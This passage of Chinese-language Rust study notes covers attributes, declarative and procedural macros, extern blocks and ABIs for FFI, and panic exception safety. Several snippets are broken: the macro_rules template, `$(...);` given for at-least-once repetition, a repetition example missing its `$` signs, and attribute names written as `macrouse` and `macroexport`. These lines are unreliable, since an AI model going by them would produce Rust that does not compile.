&lt;p&gt;&lt;code&gt;#[cold]&lt;&#x2F;code&gt;: 提示编译器该函数很少被调用&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[path = &quot;foo.rs&quot;]&lt;&#x2F;code&gt;: 指定module的源文件路径&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[deprecated = &quot;why deprecated&quot;]&lt;&#x2F;code&gt;: 表示deprecated API&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;#[deprecated(since = &quot;5.2&quot;, note = &quot;foo is bad, use bar instead&quot;)]&lt;&#x2F;code&gt;: 用此形式可以说明自某版本起deprecated&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[must_use = &quot;why must use&quot;]&lt;&#x2F;code&gt;: 表示必须使用&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;hygienic-macro&quot;&gt;Hygienic Macro&lt;&#x2F;h2&gt;
&lt;p&gt;首先，我们定义&lt;em&gt;token tree&lt;&#x2F;em&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;token tree就是一棵由token构成的树，所有token都属于叶子节点&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;(...)&lt;&#x2F;code&gt;, &lt;code&gt;[...]&lt;&#x2F;code&gt;, &lt;code&gt;{...}&lt;&#x2F;code&gt;可以作为非叶子节点，将其下的子树group起来&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;宏在使用时，后面跟着一棵token tree。由于Rust的宏是卫生宏，宏展开的过程是一种AST变换，将token tree替换成新的AST：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mac!(...)&lt;&#x2F;code&gt;, &lt;code&gt;mac![...]&lt;&#x2F;code&gt;, &lt;code&gt;mac! {...}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;macros-by-example&quot;&gt;Macros by Example&lt;&#x2F;h3&gt;
&lt;p&gt;用&lt;code&gt;macro_rules!&lt;&#x2F;code&gt;可以定义宏，我们称这种方式为&lt;em&gt;macros by example&lt;&#x2F;em&gt;:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;macro_rules! $name {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    (expansion};&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    $rule1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F;...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    $ruleN&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;macro_rules&lt;&#x2F;code&gt;的body由若干条替换规则构成，规则的左边称为&lt;em&gt;matcher&lt;&#x2F;em&gt;，右边称为&lt;em&gt;transcriber&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;实际上&lt;code&gt;macro_rules! $name (...);&lt;&#x2F;code&gt;, &lt;code&gt;macro_rules! $name [...];&lt;&#x2F;code&gt;的写法也是可以的，matcher和transcriber也可以使用三种括号中的任意一种&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;但一般习惯上matcher用&lt;code&gt;()&lt;&#x2F;code&gt;，其余两个用&lt;code&gt;{}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;matcher和transcriber可以视为token tree的扩充，你仍然可以在matcher和transcriber中使用普通的token tree，它们会被literally进行比较&#x2F;替换&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;matcher的最外层括号不必匹配，但内层括号必须匹配，例如matcher为&lt;code&gt;(())&lt;&#x2F;code&gt;，则可以匹配&lt;code&gt;macro!{()}&lt;&#x2F;code&gt;，但不能匹配&lt;code&gt;macro!{[]}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;macro展开时，即使某条规则匹配，也可能展开失败，例如由于展开后内部还含有宏要递归展开，但递归展开失败，此时不会再尝试下一条规则&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;在matcher中可以使用形如&lt;code&gt;$id: fragspec&lt;&#x2F;code&gt;的&lt;em&gt;metavariable&lt;&#x2F;em&gt; matcher，在transcriber中可以使用matcher中出现过的&lt;code&gt;$id&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$id: item&lt;&#x2F;code&gt;: 可以capture一个item，例如function、struct、module等&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: block&lt;&#x2F;code&gt;: 可以capture一个block&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: stmt&lt;&#x2F;code&gt;: 可以capture一个statement（不包括结尾的&lt;code&gt;;&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: pat&lt;&#x2F;code&gt;: 可以capture一个pattern&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: expr&lt;&#x2F;code&gt;: 可以capture一个expression&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: ty&lt;&#x2F;code&gt;: 可以capture一个type&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: ident&lt;&#x2F;code&gt;: 可以capture一个identifier，注意这是一个&lt;strong&gt;TOKEN&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: path&lt;&#x2F;code&gt;: 可以capture一个path，更准确地说是「TypePath」，即使用&lt;code&gt;::A::B&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;而非&lt;code&gt;::A::B::&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;形式来指定type parameter的path&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: tt&lt;&#x2F;code&gt;: 可以capture一棵&lt;strong&gt;TOKEN&lt;&#x2F;strong&gt; tree&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: meta&lt;&#x2F;code&gt;: 可以capture一个attribute的meta item&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: lifetime&lt;&#x2F;code&gt;: 可以capture一个lifetime &lt;strong&gt;TOKEN&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: vis&lt;&#x2F;code&gt;: 可以capture一个visibility qualifier（e.g. &lt;code&gt;pub(super)&lt;&#x2F;code&gt;），可以为空&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$id: literal&lt;&#x2F;code&gt;: 可以capture一个literal（数字或字符串）&lt;&#x2F;li&gt;
&lt;li&gt;宏展开时，&lt;em&gt;metavariable&lt;&#x2F;em&gt;会被替换为opaque的AST节点，transcriber中嵌套的宏将无法观察到AST节点内部的结构&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在matcher中我们还可以指定repetition：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$(...)?&lt;&#x2F;code&gt;: 表示match零次或一次&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;$(...),*&lt;&#x2F;code&gt;, &lt;code&gt;$(...);&lt;&#x2F;code&gt;: 分别表示match任意次和match至少一次，括号后跟的&lt;code&gt;,&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;;&lt;&#x2F;code&gt;表示group以&lt;code&gt;,&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;;&lt;&#x2F;code&gt;分隔&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;事实上seperator可以是任意token，不限于&lt;code&gt;,&lt;&#x2F;code&gt;和&lt;code&gt;;&lt;&#x2F;code&gt;，只要不是&lt;code&gt;()[]{}&lt;&#x2F;code&gt;或&lt;code&gt;$&lt;&#x2F;code&gt;即可&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在transcriber中可以使用同样的语法，将matcher中捕获的repetition展开相应的次数&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;此时会利用transcriber中用到的metavariable来确定使用的matcher中的repetition&lt;&#x2F;li&gt;
&lt;li&gt;若有多个对应的repetition，则它们的重复次数必须相同，否则匹配失败&lt;&#x2F;li&gt;
&lt;li&gt;例如&lt;code&gt;( i:ident ),* ; j:ident ),* ) =&amp;gt; ( i,$j) ), )&lt;&#x2F;code&gt;，输入&lt;code&gt;(a, b, c; d, e)&lt;&#x2F;code&gt;会匹配失败&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;*Macros by example*有两种scope，textual scope和path scope：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若通过&lt;code&gt;macro&lt;&#x2F;code&gt;引用，则首先在textual scope中查找，然后在path scope中查找&lt;&#x2F;li&gt;
&lt;li&gt;若通过&lt;code&gt;A::B::macro&lt;&#x2F;code&gt;引用，则直接在path scope中查找&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;textual scope的规则如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;macro在定义后，方可使用，和&lt;code&gt;let&lt;&#x2F;code&gt;声明类似&lt;&#x2F;li&gt;
&lt;li&gt;macro定义允许shadowing，这也和&lt;code&gt;let&lt;&#x2F;code&gt;声明类似&lt;&#x2F;li&gt;
&lt;li&gt;macro定义在item（例如module，甚至function）中时，只在item的scope中有效&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;#[macrouse]&lt;&#x2F;code&gt;可以令module中定义的macro，在离开module的scope后还继续保持有效&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;path scope的规则如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[macroexport]&lt;&#x2F;code&gt;可以令macro具备path scope，也就是能够用path访问该macro，并且其他crate也能导入该macro&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;此时不受textual scope的限制，可以在macro定义之前使用macro，就和函数定义类似&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过&lt;code&gt;#[macroexport]&lt;&#x2F;code&gt;导出的宏，除了通过&lt;code&gt;import&lt;&#x2F;code&gt;语句导入外，还可以通过&lt;code&gt;#[macrouse]&lt;&#x2F;code&gt;导入，但并不常用：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;#[macro_use(macro0, macro1)] &#x2F;&#x2F; or #[macro_use] to import all macros&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;extern crate has_macro;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;Rust的macro是hygienic的，在transcriber中引入的identifier和来自invocation site的identifier不会冲突。例如，以下代码无法通过编译，因为transcriber中的&lt;code&gt;a&lt;&#x2F;code&gt;和&lt;code&gt;$e&lt;&#x2F;code&gt;展开得到的&lt;code&gt;a&lt;&#x2F;code&gt;不是同一个&lt;code&gt;a&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;macro_rules! using_a {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    ($e:expr) =&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            let a = 42;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            $e&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let four = using_a!(a &#x2F; 10);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;若在transcriber中未重新定义一个identifier，就直接使用，那么会默认该identifier来自invocation site：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用&lt;code&gt;$crate::A::B::id&lt;&#x2F;code&gt;可以强制使用macro所在的crate中的identifier&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;procedural-macros&quot;&gt;Procedural Macros&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;em&gt;Procedural macro&lt;&#x2F;em&gt;是另一种macro，它定义了一个函数，在编译期会直接执行该函数进行宏展开。Procedural macro必须在&lt;code&gt;proc-macro&lt;&#x2F;code&gt;类型的crate中定义，在&lt;code&gt;Cargo.toml&lt;&#x2F;code&gt;中可以这样定义&lt;code&gt;proc-macro&lt;&#x2F;code&gt;crate：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;[lib]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;proc-macro = true&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Procedural macro不是hygienic的，它和C Macro更类似，但更灵活。目前共有三种procedure macro，分别是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Function-like macro: &lt;code&gt;custom!()&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Derive macro: &lt;code&gt;#[derive(CustomDerive)]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Attribute macro: &lt;code&gt;#[CustomAttribute]&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;先来看function-like macro，它通过一个&lt;code&gt;#[proc_macro]&lt;&#x2F;code&gt;属性的public函数定义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;函数的类型必须是&lt;code&gt;fn (TokenStream) -&amp;gt; TokenStream&lt;&#x2F;code&gt;，macro名为函数名&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;TokenStream&lt;&#x2F;code&gt;类型来自&lt;code&gt;proc_macro&lt;&#x2F;code&gt;crate，表示一个token tree的stream&lt;&#x2F;li&gt;
&lt;li&gt;输入是&lt;code&gt;custom!($args)&lt;&#x2F;code&gt;中的&lt;code&gt;$args&lt;&#x2F;code&gt;，输出则会替换整个宏&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;再来看derive macro，它通过一个&lt;code&gt;#[proc_macro_derive(CustomDerive)]&lt;&#x2F;code&gt;属性的public函数定义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;函数的类型必须是&lt;code&gt;fn (TokenStream) -&amp;gt; TokenStream&lt;&#x2F;code&gt;，macro名来自属性，与函数名无关&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;输入是&lt;code&gt;#[derive(CustomDerive)]&lt;&#x2F;code&gt;后紧跟的item，输出必须是一系列的item，输出会被添加到原item所在的module或block，而原item不会被修改或删除&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[proc_macro_derive(CustomDerive, attributes(helper0, helper1, ..., helperN))]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;定义derive macro时，可以额外指定若干&lt;em&gt;helper attributes&lt;&#x2F;em&gt;，它们本身并没有任何含义，也不会有任何效果&lt;&#x2F;li&gt;
&lt;li&gt;这些attributes可以在输入的item中使用，然后可以被derive macro识别，从而被derive macro赋予含义&lt;&#x2F;li&gt;
&lt;li&gt;事实上，它们也可以被任何其他macro识别，而赋予含义&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后来看attribute macro，它通过一个&lt;code&gt;#[proc_macro_attribute]&lt;&#x2F;code&gt;属性的public函数定义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;函数的类型必须是&lt;code&gt;fn (TokenStream, TokenStream) -&amp;gt; TokenStream&lt;&#x2F;code&gt;，macro名为函数名&lt;&#x2F;li&gt;
&lt;li&gt;第一个参数是attribute，若attribute后面没有跟参数则第一个参数为空&lt;&#x2F;li&gt;
&lt;li&gt;第二个参数是&lt;code&gt;#[CustomAttribute]&lt;&#x2F;code&gt;后紧跟的item&lt;&#x2F;li&gt;
&lt;li&gt;输出是任意数量的item，输出会替换原item&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;external-block-external-function&quot;&gt;External Block &amp;amp; External Function&lt;&#x2F;h2&gt;
&lt;p&gt;Rust中external block用于提供FFI（Foreign Function Interface），位于external block中的函数代表来自外部的Non-Rust代码，没有function body。这些函数的参数不能使用pattern，只能声明为&lt;code&gt;x: T&lt;&#x2F;code&gt;或&lt;code&gt;_: T&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;首先，声明external block时需要指定ABI，如&lt;code&gt;extern &quot;stdcall&quot; {...}&lt;&#x2F;code&gt;，若不指定则默认为C ABI即&lt;code&gt;extern &quot;C&quot;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;有三个ABI是跨平台的：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;extern &quot;Rust&quot;&lt;&#x2F;code&gt;: 即Rust自身的ABI&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;extern &quot;C&quot;&lt;&#x2F;code&gt;: 即系统的C编译器提供的ABI&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;extern &quot;system&quot;&lt;&#x2F;code&gt;: 通常为C ABI，在Win32上为&lt;code&gt;&quot;stdcall&quot;&lt;&#x2F;code&gt;（即用于链接Win API的ABI）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外还有以下platform-specific的ABI：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;extern &quot;cdecl&quot;&lt;&#x2F;code&gt;: x86-32的默认C ABI&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;extern &quot;stdcall&quot;&lt;&#x2F;code&gt;: x86-32的Win32 ABI&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;extern &quot;win64&quot;&lt;&#x2F;code&gt;: x86-64的Win ABI&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;extern &quot;sysv64&quot;&lt;&#x2F;code&gt;: x86-64的Non-Win ABI&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;extern &quot;aapcs&quot;&lt;&#x2F;code&gt;: ARM的默认ABI&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;extern &quot;fastcall&quot;&lt;&#x2F;code&gt;: 对应于MSVC的&lt;code&gt;__fastcall&lt;&#x2F;code&gt;和GCC&#x2F;Clang的&lt;code&gt;__attribute__((fastcall))&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;extern &quot;vectorcall&quot;&lt;&#x2F;code&gt;: 对应于MSVC的&lt;code&gt;__vectorcall&lt;&#x2F;code&gt;和GCC&#x2F;Clang的&lt;code&gt;__attribute__((vectorcall))&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其次，external block中只能定义两种item，即static item和function item：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;static item代表来自外部的全局变量，没有initalizer&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;无论有没有&lt;code&gt;mut&lt;&#x2F;code&gt;修饰符，访问external static item都是&lt;code&gt;unsafe&lt;&#x2F;code&gt;的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;function item代表来自外部的函数，没有body&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;所有external function都默认被声明为&lt;code&gt;unsafe&lt;&#x2F;code&gt;的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;external function支持variadic parameter，如&lt;code&gt;extern { fn foo(x: i32, ...); }&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;相应地，由external function经coercion得到的函数指针的类型可以是&lt;code&gt;unsafe extern fn(i32, ...)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;但只有&lt;code&gt;&quot;C&quot;&lt;&#x2F;code&gt;或&lt;code&gt;&quot;cdecl&quot;&lt;&#x2F;code&gt;ABI支持variadic parameter&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后，我们可以通过attribute控制link行为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[link_name = &quot;actual_symbol_name&quot;]&lt;&#x2F;code&gt;: 可以给external函数加上该属性，这可以令Rust中的函数名可以和外部库中的函数名不同&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[link(name = &quot;CoreFoundation&quot;, kind = &quot;framework&quot;)]&lt;&#x2F;code&gt;: 可以给external block加上&lt;code&gt;link&lt;&#x2F;code&gt;属性，表示要链接到哪个库&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kind&lt;&#x2F;code&gt;可以取&lt;code&gt;dylib&lt;&#x2F;code&gt;, &lt;code&gt;static&lt;&#x2F;code&gt;或&lt;code&gt;framework&lt;&#x2F;code&gt;，其中&lt;code&gt;framework&lt;&#x2F;code&gt;是指macOS framework，仅限macOS平台&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;kind&lt;&#x2F;code&gt;不填时默认为&lt;code&gt;dylib&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Nullable Pointer Optimization:&lt;&#x2F;strong&gt;  在Rust中有些类型是&lt;em&gt;non-null&lt;&#x2F;em&gt;的，例如&lt;code&gt;&amp;amp;T, &amp;amp;mut T, Box&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;以及函数指针。若一个enum只有两个variant，其中一个是empty variant，另一个是上述non-null type，则Rust会进行所谓的「nullable pointer optimization」，使得enum不需要存储discriminant。这样的enum（例如&lt;code&gt;Option&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;）可以用来包装从外部的C语言库中返回的nullable的值。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;反之，如果在external block外定义的函数，声明为&lt;code&gt;extern&lt;&#x2F;code&gt;，则表示该函数是export给外部使用：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如&lt;code&gt;extern &quot;stdcall&quot; fn new_i32_stdcall() -&amp;gt; i32 { 0 }&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;由此经coercion得到的函数指针类型为&lt;code&gt;extern &quot;stdcall&quot; fn() -&amp;gt; i32&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;使用&lt;code&gt;#[no_mangle]&lt;&#x2F;code&gt;属性让extern函数以其名称export，而不是以mangled name进行export&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;exception-safety&quot;&gt;Exception Safety&lt;&#x2F;h2&gt;
&lt;p&gt;Rust中的&lt;code&gt;panic!&lt;&#x2F;code&gt;实际上已经成了一种Exception机制：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;首先，panic只会结束当前线程，而不是结束整个程序，因此在该线程invariants被破坏的数据会感染其他线程&lt;&#x2F;li&gt;
&lt;li&gt;其次，可以使用&lt;code&gt;std::panic::catch_unwind(|| { panic!(&quot;oh panic!&quot;); })&lt;&#x2F;code&gt;来catch当前正在unwinding的panic&lt;&#x2F;li&gt;
&lt;li&gt;最后，可以用&lt;code&gt;std::panic::resume_unwind(Box&amp;lt;dyn Any + Send&amp;gt;) -&amp;gt; !&lt;&#x2F;code&gt;进行rethrow，重新引发panic&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;于是我们有必要引入Exception Safety的概念，但相比C++、Java、C#等严重依赖Exception的语言，程序员实际上不需要关心太多：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Safe的代码最好能达到C++的strong exception safety级别，Rust称之为&lt;em&gt;maximal&lt;&#x2F;em&gt; exception safety&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;即面对panic能保持数据结构的invariants不被破坏&lt;&#x2F;li&gt;
&lt;li&gt;但达不到也行，因为safe代码面对exception至少能保证memory safety，也就是C++的basic exception safety&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Unsafe的代码（&lt;code&gt;unsafe&lt;&#x2F;code&gt;块和&lt;code&gt;unsafe&lt;&#x2F;code&gt;函数中的代码）必须达到basic exception safety级别，Rust称之为&lt;em&gt;minimal&lt;&#x2F;em&gt; exception safety&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;unsafe代码面对exception有违反memory safety的风险，而Rust的目标是保证memory safety，故要求unsafe的代码必须实现basic exception safety&lt;&#x2F;li&gt;
&lt;li&gt;也就是说，对于一般程序员而言，只有写unsafe代码时需要注意exception safety，心智负担较低&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
